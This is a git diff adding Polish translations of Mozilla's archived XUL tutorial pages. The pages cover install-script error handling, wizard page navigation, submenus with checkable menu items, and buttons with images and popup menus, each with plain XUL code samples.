+<p><a class="external" href="http://www.xulplanet.com/references/elemref/ref_File.html">Funkcje</a> także przemieszczają, zmieniają nazwę i uruchamiają pliki. Tak można przemieścić plik gdyby kolidował z twoją paczka.</p>
+
+<h2 id="Obs.C5.82uga_b.C5.82.C4.99d.C3.B3w" name="Obs.C5.82uga_b.C5.82.C4.99d.C3.B3w">Obsługa błędów</h2>
+
+<p>Będziesz musiał sprawnie posługiwać się błędami. Zdarzy się ze plik lub katalog nie może zostać odnaleziony, lub brakuje miejsca na dysku, lub są jakiekolwiek inne problemy.</p>
+
+<p>Możesz stosować funkcję <code>getLastError()</code>, aby sprawdzić czy wystąpił błąd. Jeżeli zwróci SUCCESS, nie było błędów. W przeciwnym wypadku, pojawi się liczba z kodem błędu. Funkcji tej możesz użyć w dowolnym momencie, aby sprawdzić czy nie pojawia się błąd.</p>
+
+<p>Jeżeli nastąpi błąd, prawdopodobnie będziesz musiał przerwać instalację. Możesz także wyświetlić komunikat o błędzie. Na przykład mógłbyś umieścić następujący kod na końcu twojego skryptu instalacji.</p>
+
+<pre>if (getLastError() == SUCCESS){
+ performInstall();
+}
+else {
+ cancelInstall();
+}
+</pre>
+
+<p>Kody błędu, który mogłyby zostać zwrócone przez <code>getLastError()</code> umieszczone są w pliku źródłowym Mozilla: <code><a class="external" href="http://lxr.mozilla.org/mozilla/source/xpinstall/src/nsInstall.h">nsInstall.h</a></code>. Podczas instalacji, jest tworzony plik dziennika, który zawiera spis wykonanych operacji. Tam zostaną umieszczone błędy, które nastąpiły. Plik dziennika znajduje się w pliku ‘install.log’ w katalogu instalacyjnym Mozilli. Każda instalacja pozostawi po sobie w nim fragment teksu dokumentujący przebieg instalacji.</p>
+
+<p>Funkcja <code>logComment()</code> jest używana do umieszczania komentarzy instalacji w dzienniku, pobiera ona jeden argument.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Skrypty_instalacyjne" style="float: left;">« Poprzedni</a><br></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_kreatorów/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_kreatorów/index.html
new file mode 100644
index 0000000000..acfc8bca14
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_kreatorów/index.html
@@ -0,0 +1,85 @@
+---
+title: Dodatkowe możliwości kreatorów
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodatkowe_możliwości_kreatorów
+tags:
+ - Kurs_XUL
+ - Projekt_MDC
+ - Przewodniki
+ - Strony_do_aktualizacji
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Wizards
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_kreatora" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Nakładki">Następny »</a></p>
+</div><p></p>
+
+<p>Artykuł opisuje dodatkowe możliwości kreatorów.</p>
+
+<h2 id="Bardziej_z.C5.82o.C5.BCona_nawigacja_w_kreatorze" name="Bardziej_z.C5.82o.C5.BCona_nawigacja_w_kreatorze">Bardziej złożona nawigacja w kreatorze</h2>
+
+<p>Normalnie, kreator wyświetla każdy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></code> w takiej kolejności w jakiej umieściłeś je w pliku XUL. Jednak w pewnych przypadkach możesz chcieć mieć różne strony kreatorów pojawiające się w zależności od tego co użytkownik wybrał na wcześniejszych stronach.</p>
+
+<p>W tym przypadku umieść atrybut <code>pageid</code> na każdej z tych stron powinno być to ustawione jako identyfikator dla każdej strony. Potem, aby nawigować po stronie użyj jednej z dwóch metod:</p>
+
+<ol>
+ <li>Ustaw atrybut <code>next</code> na każdej stronie na ID kolejnej strony. Możesz zmienić te atrybuty jako potrzebne do nawigacji po różnych stronach.</li>
+ <li>Wywołaj metodę <code>goTo()</code>. Pobiera ona jeden argument, ID strony do której chcesz przejść. Możesz wywołać tą metodę w funkcji obsługi <code>onpageadvanced</code> lub <code>onwizardnext</code>. Pamiętaj o zwróceniu fałszu w tym przypadku, ponieważ już sam zmieniłeś stronę. Odnotuj metodę <code>goTo()</code>, ponieważ powoduje zmianę strony, ponownie uruchamiając zdarzenia, więc musisz się upewnić, że obsługujesz ten przypadek.</li>
+</ol>
+
+<p>Na przykład tu mamy zbiór stron kreatora (wewnętrzna zawartość została pominięta):</p>
+
+<pre>&lt;wizardpage pageid="type" next="font"&gt;
+&lt;wizardpage pageid="font" next="done"&gt;
+&lt;wizardpage pageid="color" next="done"&gt;
+&lt;wizardpage pageid="done"&gt;
+</pre>
+
+<p>Kreator zawsze zaczyna się od pierwszej strony, którą w tym przypadku ma ID strony <code>type</code>. Następna strona jest stroną z ID strony <code>font</code>, więc kreator będzie nawigował do kolejnej strony. Na stronie z ID strony <code>font</code>, widzimy, że kolejna strona to <code>done</code>, więc ta strona będzie wyświetlona później Strona z ID strony <code>done</code> nie ma atrybutu <code>next</code>, więc będzie to ostatnia strona. Skrypt będzie modyfikował atrybut <code>next</code>, jeśli to konieczne do pójścia do strony z ID strony <code>color</code> kiedy to potrzebne.</p>
+
+<h2 id="Funkcje_kreatora" name="Funkcje_kreatora">Funkcje kreatora</h2>
+
+<p>Kreator pracuje podobnie <a href="pl/Kurs_XUL/Pude%c5%82ko_kart">jak panel kart</a>, z wyjątkiem tego, że karty nie są wyświetlane, a użytkownik przechodzi pomiędzy stronami używając przycisków ułożonych na dole. Ponieważ wszystkie strony są częścią tego samego pliku, wszystkie wartości tych pól na wszystkich stronach będą zapamiętane. Zatem, nie musisz wczytywać i zapisywać informacji pomiędzy stronami.</p>
+
+<p>Jednakże, możesz chcieć wykonać sprawdzanie każde pole na każdej stronie. Do tego użyj funkcji obsługi opisanych w poprzednim rozdziale. Jeśli pole jest niepoprawne, możesz wyświetlić alarm. W pewnych przypadkach byłoby bardziej dogodne zablokować przycisk Next dopóki ie zostanie wprowadzona poprawna wartość.</p>
+
+<p>Kreator ma własność <code>canAdvance</code>, która może być ustawiona na prawdę do wskazania, że przycisk Next powinien być włączony. Jeśli ustawimy ją na fałsz, przycisk Next będzie zablokowany. Możesz zmienić tą własność kiedy niepoprawna lub poprawna dana zostanie wprowadzona.</p>
+
+<p>W poniższym przykładzie, użytkownik musi wprowadzić tajny kod do pola tekstowego na pierwszej stronie kreatora. Funkcja checkCode() jest wywoływana kiedy pierwsza strona jest pokazywana jako wskazywana przez atrybut <code>onpageshow</code>. Jest również wywoływane, kiedy jest naciśnięty klawisz w polu tekstowym, określającym czy przycisk Next powinien ponownie być włączony.</p>
+
+<h3 id="Przyk.C5.82ad_kreatora" name="Przyk.C5.82ad_kreatora">Przykład kreatora</h3>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_advwiz_1.xul.txt">Źródła</a></p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;wizard id="theWizard" title="Secret Code Wizard"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;script&gt;
+function checkCode(){
+ document.getElementById('theWizard').canAdvance = (document.getElementById('secretCode').value == "cabbage");
+}
+&lt;/script&gt;
+
+ &lt;wizardpage onpageshow="checkCode(); return true;"&gt;
+ &lt;label value="Enter the secret code:"/&gt;
+ &lt;textbox id="secretCode" onkeyup="checkCode();"/&gt;
+ &lt;/wizardpage&gt;
+
+ &lt;wizardpage&gt;
+ &lt;label value="That is the correct secret code."/&gt;
+ &lt;/wizardpage&gt;
+
+&lt;/wizard&gt;
+</pre>
+
+<p>Jest również odpowiednia własność <code>canRewind</code>, której możesz użyć do włączenia lub wyłączenia przycisku Back. Obie własności są modyfikowane automatycznie kiedy przełączasz strony. Zatem, przycisk Back będzie wyłączony na pierwszej stronie, więc nie musisz ustawiać go sam.</p>
+
+<p>Inna użyteczną własnością kreatora jest <code>currentPage</code>, która przechowuje odniesienie do aktualnie wyświetlanego <code>wizardpage</code>. Możesz również modyfikować bieżąca stronę przez zmianę tej własności. Jeśli zmienisz ją, będzie uruchomione kilka zdarzeń zmian strony.</p>
+
+<p>W kolejnym artykule dowiemy się jak stosować <a href="pl/Kurs_XUL/Nak%c5%82adki">nakładki do obsługi wspólnej zawartości</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_kreatora" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Nakładki">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_menu/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_menu/index.html
new file mode 100644
index 0000000000..7c64ec271e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_menu/index.html
@@ -0,0 +1,121 @@
+---
+title: Dodatkowe możliwości menu
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodatkowe_możliwości_menu
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Menu_Features
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Proste_paski_menu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Wyskakuj%C4%85ce_menu">Następny »</a></p>
+</div>
+<p></p><p>W tym artykule zobaczymy, jak utworzyć podmenu i zaznaczyć jego elementy.
+</p>
+<h3 id="Tworzenie_podmenu" name="Tworzenie_podmenu"> Tworzenie podmenu </h3>
+<p>Możemy tworzyć podmenu wewnątrz innych menu (zagnieżdżając się w menu) stosując istniejące elementy. Pamiętaj, że możemy umieszczać elementy do wewnątrz elementu <code>menupopup</code>. Widzieliśmy już wcześniej, jak umieścić pozycje menu (<code>menuitem</code>) i separatory (<code>menuseparator</code>) w wyskakującym menu (<code>menupopup</code>). Jednakże możemy tworzyć podmenu poprzez proste umieszczenie elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code></code> wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>. Będzie ono nam działało, ponieważ element menu można tworzyć nawet wtedy, gdy nie jest ono bezpośrednio umieszczone wewnątrz paska menu. Przykład poniżej tworzy proste podmenu wewnątrz menu &lt;tt&gt;Plik&lt;/tt&gt;:
+</p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_1.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:menubar-ex3.png"></div>
+<pre>&lt;toolbox flex="1"&gt;
+ &lt;menubar id="sample-menubar"&gt;
+ &lt;menu id="file-menu" label="Plik"&gt;
+ &lt;menupopup id="file-popup"&gt;
+ &lt;menu id="new-menu" label="Nowy"&gt;
+ &lt;menupopup id="new-popup"&gt;
+ &lt;menuitem label="Okno"/&gt;
+ &lt;menuitem label="Wiadomość"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;menuitem label="Otwórz"/&gt;
+ &lt;menuitem label="Zapisz"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem label="Zakończ"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+<div class="highlight">
+<h3 id="Dodawanie_menu_do_przyk.C5.82adu_Znajd.C5.BA_pliki" name="Dodawanie_menu_do_przyk.C5.82adu_Znajd.C5.BA_pliki"> Dodawanie menu do przykładu <code>Znajdź pliki</code> </h3>
+<p>Dodajmy menu do okienka dialogowego &lt;tt&gt;Znajdź pliki&lt;/tt&gt; poprzez wstawienie kilku prostych komend do menu &lt;tt&gt;Plik&lt;/tt&gt; i &lt;tt&gt;Edycja&lt;/tt&gt;. Podobnie jak w przykładzie powyżej.
+</p>
+<pre class="eval">&lt;toolbox&gt;
+
+ <span class="highlightred">&lt;menubar id="findfiles-menubar"&gt;
+ &lt;menu id="file-menu" label="Plik" accesskey="P"&gt;
+ &lt;menupopup id="file-popup"&gt;
+ &lt;menuitem label="Otwórz szukanie..." accesskey="O"/&gt;
+ &lt;menuitem label="Zapisz szukanie..." accesskey="s"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem label="Zakończ" accesskey="k"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;menu id="edit-menu" label="Edycja" accesskey="E"&gt;
+ &lt;menupopup id="edit-popup"&gt;
+ &lt;menuitem label="Wytnij" accesskey="W"/&gt;
+ &lt;menuitem label="Kopiuj" accesskey="K"/&gt;
+ &lt;menuitem label="Wklej" accesskey="l" disabled="true"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;</span>
+
+&lt;toolbar id="findfiles-toolbar&gt;
+</pre>
+<div class="float-right"><img alt="grafika:menubar1.png"></div>
+<p>Dodaliśmy dwa menu z różnymi poleceniami. Jak można zauważyć, pasek menu został dodany do paska zadań. W naszym przykładzie po &lt;tt&gt;Otwórz szukanie...&lt;/tt&gt; i &lt;tt&gt;Zapisz szukanie...&lt;/tt&gt; znajdują się trzy kropki, co według ogólnie przyjętej konwencji wskazuje, że po kliknięciu tych poleceń, otworzy się kolejne okienko dialogowe. Do każdego menu oraz elementu menu został dodany skrót klawiszowy, co spowodowało podkreślenie danej litery skrótu klawiaturowego w etykiecie polecenia, litera ta wywołuje dane polecenie i jest równoważna z kliknięciem w pozycję menu za pomocą kursora. Polecenie &lt;tt&gt;Wklej&lt;/tt&gt; zostało wyłączone (<i>disabled</i>), ponieważ zakładamy, że nie mamy jeszcze czego wklejać.
+</p><p>Nasz przykład: Okno dialogowe &lt;tt&gt;Znajdź pliki&lt;/tt&gt;: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-advmenu.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-advmenu.xul">Podgląd</a>
+</p>
+</div>
+<h3 id="Dodawanie_zaznaczania_w_menu" name="Dodawanie_zaznaczania_w_menu"> Dodawanie zaznaczania w menu </h3>
+<p>Wiele aplikacji posiada pozycje menu, które są zaznaczone. Na przykład, właściwość, która jest włączona, posiada obok polecenia zaznaczenie, natomiast właściwość, która jest wyłączona nie posiada tego zaznaczenia. Kiedy użytkownik zaznaczy menu, pole zaznaczenia jest włączone. Możemy także utworzyć przyciski opcji i pozycje menu. </p><p>Zaznaczenia są tworzone w podobny sposób jak elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code> i <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code>. Wymagają one zaangażowania do zastosowania dwóch atrybutów: <code><a href="pl/XUL/Atrybut/button.type">type</a></code>, aby zdefiniować typ zaznaczenia oraz <code><a href="pl/XUL/Atrybut/menuitem.name">name</a></code>, aby możliwe było pogrupowanie razem poleceń.
+</p>
+<h5 id="Przyk.C5.82adowe_menu_z_zaznaczonymi_pozycjami" name="Przyk.C5.82adowe_menu_z_zaznaczonymi_pozycjami"> Przykładowe menu z zaznaczonymi pozycjami </h5>
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_2.xul">Podgląd</a>
+</p>
+<pre>&lt;toolbox&gt;
+ &lt;menubar id="options-menubar"&gt;
+ &lt;menu id="options_menu" label="Opcje"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem id="backups" label="Zrób kopię zapasową" type="checkbox"/&gt;
+ &lt;menuitem id="backups" label="E-mail administratora" type="checkbox" checked="true"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+<p><br>
+</p>
+<div class="float-right"><img alt="grafika:menubar-ex00.png"></div>
+<p>Dzięki dodaniu atrybutu <code><a href="pl/XUL/Atrybut/button.type">type</a></code> z wartością ustawioną na <code>checkbox</code> element menu może zostać zaznaczony lub odznaczony, po kliknięciu pozycji w menu przez użytkownika. </p><p>Oprócz zwyczajnego zaznaczenia możemy również ustawić wartość atrybutu <code><a href="pl/XUL/Atrybut/button.type">type</a></code> na <code>radio</code>. Stosuje się go po to, aby spośród kilku elementów była możliwość wybrania tylko jednej pozycji na raz. Przykładem może być menu z różnymi czcionkami, gdzie może być zastosowany tylko jeden krój czcionki. Jeśli zostanie wybrana inna czcionka, to poprzednia stanie się automatycznie nieaktywna.
+</p><p>W celu pogrupowania elementów menu należy do każdej z pozycji menu dodać atrybut <code><a href="pl/XUL/Atrybut/menuitem.name">name</a></code>, o takiej samej wartości string. Poniżej przykład nam to zademonstruje:
+</p>
+<h5 id="Przyk.C5.82adowe_menu_z_opcjami" name="Przyk.C5.82adowe_menu_z_opcjami"> Przykładowe menu z opcjami </h5>
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_3.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:menubar-ex000.png"></div>
+<pre>&lt;toolbox&gt;
+ &lt;menubar id="planets-menubar"&gt;
+ &lt;menu id="planet-menu" label="Planety"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem id="jupiter" label="Jowisz" type="radio" name="ringed"/&gt;
+ &lt;menuitem id="saturn" label="Saturn" type="radio" name="ringed" checked="true"/&gt;
+ &lt;menuitem id="uranus" label="Uran" type="radio" name="ringed"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem id="earth" label="Ziemia" type="radio" name="inhabited" checked="true"/&gt;
+ &lt;menuitem id="moon" label="Księżyc" type="radio" name="inhabited"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+<p>W powyższym przykładzie znajdują się trzy pierwsze pozycje menu, z których tylko jedna może być zaznaczona. Są one zgrupowane wszystkie razem, ponieważ mają tę samą nazwę. Ostatni element &lt;tt&gt;Ziemia&lt;/tt&gt;, podobnie jak przycisk opcji, nie jest częścią tej grupy, ponieważ posiada inną nazwę niż elementy z wcześniejszej grupy.
+</p><p>Oczywiście wszystkie elementy są zgrupowane w tym samym menu. Nie muszą one być umieszczone obok siebie, lecz, jeśli tak nie jest, to nie ma to większego sensu. </p><p>W następnym artykule zostanie pokazane, jak <a href="pl/Kurs_XUL/Wyskakuj%c4%85ce_menu">utworzyć menu wyskakujące</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Proste_paski_menu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Wyskakuj%C4%85ce_menu">Następny »</a></p>
+</div>
+<p></p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_przycisku/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_przycisku/index.html
new file mode 100644
index 0000000000..20bf9d2bb1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_przycisku/index.html
@@ -0,0 +1,84 @@
+---
+title: Dodatkowe możliwości przycisku
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodatkowe_możliwości_przycisku
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Button_Features
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Zastosowanie_odstępów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Model_pudełkowy">Następny »</a></p>
+</div>
+<p></p><p>W tym artykule poznamy kilka dodatkowych własności przycisków.
+</p>
+<h3 id="Dodawanie_obrazka" name="Dodawanie_obrazka"> Dodawanie obrazka </h3>
+<p>Możemy dodać obrazek do przycisku poprzez określenie adresu URL w atrybucie <code><code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code></code>. Obrazek jest wczytany z podanego URL, który może być względnym lub bezwzględnym adresem URL. Wczytany obrazek jest wyświetlony na przycisku.
+</p>
+<h4 id="Przycisk_z_obrazkiem" name="Przycisk_z_obrazkiem"> Przycisk z obrazkiem </h4>
+<p>Przycisk poniżej posiada dwa atrybuty: <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> i <code><code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code></code> (obrazek 'happy.png'). Obrazek będzie znajdował się z lewej strony etykiety. Możemy zmienić pozycję za pomocą dwóch innych atrybutów. Zostanie to wyjaśnione za chwilę. </p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_1.xul">Podgląd</a>
+</p>
+<pre>&lt;button label="Pomoc" image="happy.png"/&gt;
+</pre>
+<p>Innym sposobem do określenia obrazka jest zastosowanie własności stylu CSS <code><a href="/pl/docs/Web/CSS/list-style-image" title="{{ CSSRef() }}"><code>list-style-image</code></a></code> w przycisku. Zaprojektowane jest to w taki sposób, że pozwala zmienić 'skórkę' (w tym przypadku wygląd obrazka) bez zmiany pliku XUL. Przykład pokazany został poniżej.
+</p>
+<h4 id="Przycisk_z_obrazkiem_w_CSS" name="Przycisk_z_obrazkiem_w_CSS"> Przycisk z obrazkiem w CSS </h4>
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_2.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="Grafika:advbtns00-ex.png"></div>
+<pre>&lt;button id="find-button"
+ label="Znajdź" style="list-style-image: url('happy.png')"/&gt;
+</pre>
+<p>W tym przypadku obrazek 'happy.png' jest wyświetlony na przycisku. Atrybut <code><code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code></code> funkcjonuje podobnie jak jego odpowiednik z języka HTML. Ogólnie możemy go zastosować do wszystkich elementów XUL. Zwróć uwagę na deklarację stylów, które powinno się w rzeczywistości umieszczać w osobnym pliku arkusza stylów.
+</p>
+<h3 id="Pozycjonowanie_obrazk.C3.B3w" name="Pozycjonowanie_obrazk.C3.B3w"> Pozycjonowanie obrazków </h3>
+<p>Domyślnie obrazek na przycisku wyświetla się z lewej strony tekstu etykiety. Są dwa atrybuty, które mogą być zastosowane do ustawienia pozycji poszczególnych elementów.
+</p><p>Atrybut <code><code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code></code> steruje kierunkiem obrazka i tekstu. Poprzez ustawienie tego atrybutu na wartość <code>reverse</code> obrazek zostanie umieszczony z prawej strony tekstu. Stosując wartość <code>normal</code> lub w ogóle nie stosując żadnego atrybutu, obrazek zostanie umieszczony z lewej strony tekstu.
+</p><p>Atrybut <code><code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code></code> możemy zastosować do umieszczenia obrazka powyżej lub poniżej tekstu. Domyślną wartością jest <code>horizontal</code>, który stosujemy do umieszczenia obrazka z prawej lub lewej strony tekstu. Możemy także zastosować wartość <code>vertical</code>, aby umieścić obrazek powyżej lub poniżej tekstu. W tym przypadku atrybut <code>dir</code> steruje położeniem powyżej lub poniżej tekstu. Takie same wartości są stosowane tam, gdzie <code>normal</code> oznacza umieszczenie obrazka powyżej tekstu, a <code>reverse</code> oznacza umieszczenie obrazka poniżej tekstu. </p><p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_3.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="Grafika:advbtns1.png"></div>
+<pre>&lt;button label="Z lewej" image="happy.png"/&gt;
+&lt;button label="Z prawej" image="happy.png" dir="reverse"/&gt;
+&lt;button label="Powyżej" image="happy.png" orient="vertical"/&gt;
+&lt;button label="Poniżej" image="happy.png" orient="vertical" dir="reverse"/&gt;
+</pre>
+<p>Użyty tutaj przykład pokazuje wszystkie cztery typy ustawienia przycisków. Zwracamy uwagę, że dwa atrybuty nie są określone, gdyż można w nich zastosować wartości domyślne.
+</p>
+<h3 id="Przyciski_z_dodatkow.C4.85_zawarto.C5.9Bci.C4.85" name="Przyciski_z_dodatkow.C4.85_zawarto.C5.9Bci.C4.85"> Przyciski z dodatkową zawartością </h3>
+<p>Przyciski mogą zawierać dowolny zestaw znaków wewnątrz siebie i będą one interpretowane wewnątrz przycisku. Prawdopodobnie nie będziesz bardzo często ich stosował, ale będziesz mógł je zastosować w momencie tworzenia zwykłych elementów.
+</p><p>Na przykład, utworzymy następujący przycisk, w którym dwa słowa będą koloru czerwonego:
+</p><p><span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_4.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:advbtns0-ex.png"></div>
+<pre>&lt;button&gt;
+ &lt;description value="To jest"/&gt;
+ &lt;description value="nieco inny" style="color: red;"/&gt;
+ &lt;description value="przycisk"/&gt;
+&lt;/button&gt;
+</pre>
+<p>Dowolny element XUL możemy umieścić wewnątrz przycisku (<code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>). Elementy HTML-a będą ignorowane, więc musimy je dołożyć do wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code>. Jeśli określimy na przycisku atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>, nałoży się ona na jakąkolwiek zawartość umieszczoną wewnątrz przycisku.
+</p><p>Możemy umieścić <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> wewnątrz przycisku powodując pojawianie się menu rozwijanego w momencie, gdy przycisk zostanie naciśnięty, podobnie jak <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>. Jednakże w tym przypadku musimy ustawić atrybut <code><a href="pl/XUL/Atrybut/button.type">type</a></code> o wartości <code>menu</code>.
+</p>
+<h5 id="Przycisk_z_menupopup" name="Przycisk_z_menupopup"> Przycisk z <code>menupopup</code> </h5>
+<p><span id="Przyk%C5%82ad_5"><a id="Przyk%C5%82ad_5"></a><strong>Przykład 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_5.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_5.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:advbtns2.png"></div>
+<pre>&lt;button type="menu" label="Urządzenia"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Drukarka"/&gt;
+ &lt;menuitem label="Myszka"/&gt;
+ &lt;menuitem label="Klawiatura"/&gt;
+ &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre>
+<p>W tym przykładzie użytkownik może kliknąć przycisk, po czym pojawi się menu rozwijane zawierające trzy pozycje. Zwróć uwagę, że zaznaczenie jednej z tych pozycji menu nie zmieni etykiety na przycisku, nie tak jak <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>. Ten typ przycisku jest przeznaczony do zastosowania podobnego do menu, ze skryptami dołączonymi do każdej pozycji wykonującej zadane zadanie. Zobaczymy więcej później w menu.
+</p><p>Możemy także ustawić atrybut <code><a href="pl/XUL/Atrybut/button.type">type</a></code> o wartości <code>menu-button</code>. Również utworzymy przycisk z menu, ale wygląd będzie miał inny. <span class="comment">Obrazek z prawej pokazuje te różnice.</span> Z lewej jest <code>menu</code>, a z drugiej strony jest <code>menu-button</code>. Posiada on strzałkę sygnalizującą obecność menu. Dla <code>menu</code> użytkownik może kliknąć gdziekolwiek na przycisku, aby pokazać menu. Dla <code>menu-button</code> użytkownik musi kliknąć strzałkę, aby pokazało się menu.
+</p><p>W następnym artykule poznamy więcej szczegółów nt. <a href="pl/Kurs_XUL/Model_pude%c5%82kowy">pozycjonowania elementów XUL w oknie</a>.
